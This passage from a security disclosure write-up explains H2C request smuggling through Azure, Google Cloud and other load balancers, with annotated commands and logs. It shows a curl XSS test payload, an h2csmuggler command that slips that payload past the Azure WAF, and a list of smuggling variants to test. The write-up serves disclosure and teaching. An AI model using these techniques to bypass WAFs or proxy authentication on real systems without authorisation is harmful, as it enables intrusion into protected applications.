  9. HTTP/2.0 200 OK and You got the flag! show the backend answered successfully, bypassing the redirect.

Azure WAF bypass

More importantly, with the Azure WAF configured this gives a global WAF bypass, provided the first request is not blocked by the WAF and an H2C connection can be established. A request carrying a script payload is blocked normally:

JSX
sean at pop-os in ~/tools/web/h2csmuggler (master●●)
$ curl "[redacted]/?param=<script>alert(1)</script>"
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>Microsoft-Azure-Application-Gateway/v2</center>
</body>
</html>

Line by line:

  1. The prompt line is again just the shell.
  2. curl "[redacted]/?param=<script>alert(1)</script>" sends a request with a query parameter param containing a small script. This is a classic test payload for cross-site scripting (XSS), a type of attack where script code is injected into a page.
  3. The response is an HTML page with 403 Forbidden, produced by the Azure Application Gateway. The WAF blocked the payload.

The same payload smuggled over H2C reaches the backend:

JSX
sean at pop-os in ~/tools/web/h2csmuggler (master●●)
$ go run ./cmd/h2csmuggler smuggle http://[redacted] 'http://[redacted]/?param=<script>alert(1)</script>' -H 'Accept: */*' -v -P
DEBU[0000] Log level set to: debug
[H2C Smuggling detected on http://[redacted]/?param=<script>alert(1)</script>]
[Smuggled response]
HTTP/2.0 200 OK
Content-Length: 54
Content-Type: text/plain; charset=utf-8
Date: Thu, 29 Oct 2020 07:35:32 GMT
Hello, /, param=<script>alert(1)</script>, http: true

Line by line:

  1. The tool is run with the same smuggle subcommand, this time sending the payload URL inside the H2C stream.
  2. [H2C Smuggling detected ...] confirms the upgrade worked.
  3. The response is HTTP/2.0 200 OK and the body echoes the parameter: Hello, /, param=<script>alert(1)</script>, http: true. The WAF did not see or block the payload because it travelled inside the upgraded connection.

Reporting to Azure was again painless and smooth. As with other cloud providers, fixes had to be well communicated and tested to ensure minimal customer impact. Azure acknowledged the vulnerability as a complete WAF bypass and stated the fix timeline was Q1 2021, so disclosure was delayed until the fix was implemented.

Google Cloud Platform

Google Load Balancer allows basic routing rules to be configured on the load balancer.

GLB with path based routing rules
GLB with path based routing rules From the original on blog.assetnote.io

The image shows a GLB with path-based routing rules.

When attempting an HTTP upgrade, however, the load balancer strips all Connection and Http2-Settings headers. Without the HTTP2-Settings header there is no way to upgrade the connection:

Bash
# Client

TRAC[0000] performing upgrade request headers="map[Connection:[Upgrade, HTTP2-Settings] Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] Upgrade:[h2c]]"
TRAC[0000] establishing tcp conn on: gce-alb-h2.assetnote.dev:80
TRAC[0000] upgrade request complete body="Hello, /, , http: true" headers="map[Content-Length:[23] Content-Type:[text/plain; charset=utf-8] Date:[Thu, 29 Oct 2020 05:01:38 GMT] Via:[1.1 google]]" status=200
TRAC[0000] unexpected status code: 200

# Server

INFO[11036] upgrading request headers="map[Accept-Encoding:[gzip] Cdn-Loop:[google] Connection:[Keep-Alive] Upgrade:[h2c] User-Agent:[Go-http-client/1.1] Via:[1.1 google] X-Cloud-Trace-Context:[[redacted]/13544612580954245206] X-Forwarded-For:[[redacted], [redacted]] X-Forwarded-Proto:[http]]" host=gce-alb-h2.assetnote.dev method=GET url=/
INFO[11036] recieved headers="map[Accept-Encoding:[gzip] Cdn-Loop:[google] Connection:[Keep-Alive] Upgrade:[h2c] User-Agent:[Go-http-client/1.1] Via:[1.1 google] X-Cloud-Trace-Context:[[redacted]/13544612580954245206] X-Forwarded-For:[[redacted], [redacted]] X-Forwarded-Proto:[http]" host=gce-alb-h2.assetnote.dev method=GET path=/

Line by line:

  1. # Client marks the client-side log.
  2. TRAC[0000] performing upgrade request headers=... shows the client sending the upgrade request with Connection:[Upgrade, HTTP2-Settings], Http2-Settings:[AAMAAABkAARAAAAAAAIAAAAA] and Upgrade:[h2c].
  3. TRAC[0000] establishing tcp conn on: gce-alb-h2.assetnote.dev:80 shows the client opening a TCP connection to the load balancer on port 80.
  4. TRAC[0000] upgrade request complete body="Hello, /, , http: true" ... status=200 shows the response. The body says http: true, meaning the backend thinks it is speaking HTTP/2.
  5. TRAC[0000] unexpected status code: 200 is the client noting that the status was not what it expected for a failed upgrade.
  6. # Server marks the server-side log.
  7. INFO[11036] upgrading request headers=... shows the headers the server saw when the upgrade request arrived. Notice Connection:[Keep-Alive] and Upgrade:[h2c], but no Http2-Settings.
  8. INFO[11036] recieved headers=... shows the headers after processing. Again, no Http2-Settings.

Because of the way GLB handles these connections, GCP was not vulnerable to H2C smuggling. The load balancer removed the headers needed for the upgrade, so the connection could not be switched.

Other cloud providers

Other cloud providers are vulnerable to this attack, but at the time of publishing disclosure permission had not been given. In other words, the researchers knew of more affected providers but were not allowed to name them yet.

Root cause

When a reverse proxy upgrades a connection it often stops handling individual requests, assuming its routing job is done once the connection is established. The proxy often stops handling individual requests once the connection is established, so the rules it applies to requests can be bypassed. The original post notes that many load balancers prevent this by default, but a backend that accepts the non-compliant variant, where HTTP2-Settings is omitted from the Connection header, is enough. Cloudflare modified the Upgrade header to exclude HTTP2-Settings while keeping the other headers, and Azure removed HTTP2-Settings from the Upgrade header but left the rest untouched. GCP stripped all Connection and Http2-Settings headers, and due to the way GLB handles these connections GCP was not vulnerable.

Impact

Where an H2C connection can be established through the proxy, an attacker can bypass the rules the proxy applies to requests: path-based routing, authentication such as Cloudflare Access, and WAF processing such as the Azure WAF. On Azure the bypass is described as global, provided the first request is not blocked by the WAF and the H2C connection can be established. The condition is the same everywhere: without a successful H2C connection, all the reverse proxy rules still apply. The researchers also note that across their existing customers over the previous five months they found multiple instances of off-the-shelf configured services that permitted H2C upgrades, potentially bypassing authorization controls placed on interim reverse proxies.

Fix

Cloudflare's final fix strips all headers related to H2C, so the connection is processed normally as expected. Azure acknowledged the issue as a complete WAF bypass and stated a fix timeline of Q1 2021. GCP was not vulnerable because it strips all Connection and Http2-Settings headers. The general lesson stated for developers and users of cloud load balancers is that security measures on only the load balancer can be insufficient when restricting access or securing an application.

Variants to test

Each one is a way to see whether the upgrade survives the proxy and whether the smuggled request reaches a place it should not.

  1. Send a compliant upgrade (Upgrade: h2c, HTTP2-Settings, Connection: Upgrade, HTTP2-Settings) through a proxy to a backend you control and check whether the backend sees the upgrade headers.
  2. Send the non-compliant variant, with HTTP2-Settings omitted from the Connection header, against proxies that rewrite the Upgrade header.
  3. Target a path protected by an authentication layer enforced at the proxy, such as Cloudflare Access.
  4. Target a path protected by a WAF attached to the load balancer, such as Azure WAF.
  5. Test other cloud load balancers and CDN providers with routing rules.

Glossary

  • API: Application Programming Interface; a way for one piece of software to talk to another, often over HTTP.
  • Backend: the real application server behind a proxy or load balancer.
  • Bug bounty program: a scheme where a company invites outside researchers to report security problems, often with a reward and agreed disclosure terms.
  • CDN: Content Delivery Network; a network of servers that cache and accelerate content, often adding security features.
  • Cleartext: data sent without encryption.
  • Cloudflare Access: an authentication service enforced by Cloudflare's load balancer, where rules can be configured on paths.
  • Cookie: a small piece of data a website stores in your browser to recognise you on later requests.
  • Cross-site scripting (XSS): an attack where script code is injected into a page and runs in a victim's browser.
  • curl: a command-line tool for making web requests.
  • Disclosure: making a vulnerability public, often after a fix.
  • Golang (Go): a programming language often used for network tools.
  • H2C: HTTP/2 over cleartext; an upgrade from HTTP/1.1 to HTTP/2 without encryption.
  • Header: a line of metadata in an HTTP request or response.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • HTTP/2: a newer, more efficient version of HTTP that can carry many requests over one connection.
  • Load balancer: a reverse proxy that spreads traffic across several backend servers.
  • ModSecurity: a web application firewall module often used with Nginx and Apache.
  • Nginx: a popular web server and reverse proxy.
  • Proof of concept (PoC): a small tool or example that demonstrates a vulnerability.
  • Reverse proxy: a server that sits in front of backends and applies rules before forwarding requests.
  • RFC: a formal technical specification.
  • TCP: the underlying transport protocol that carries web traffic.
  • Transient connection: a connection that lasts only for a single request.
  • Upgrade: switching an existing connection to a different protocol, such as H2C or websocket.
  • WAF: Web Application Firewall; a filter that inspects requests for malicious patterns and blocks them.
  • Websocket: a technology for two-way, always-open communication between client and server.
  • X-Forwarded-For / X-Forwarded-Proto: headers proxies add to tell the backend where the request really came from.

More by Sean Yeoh

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.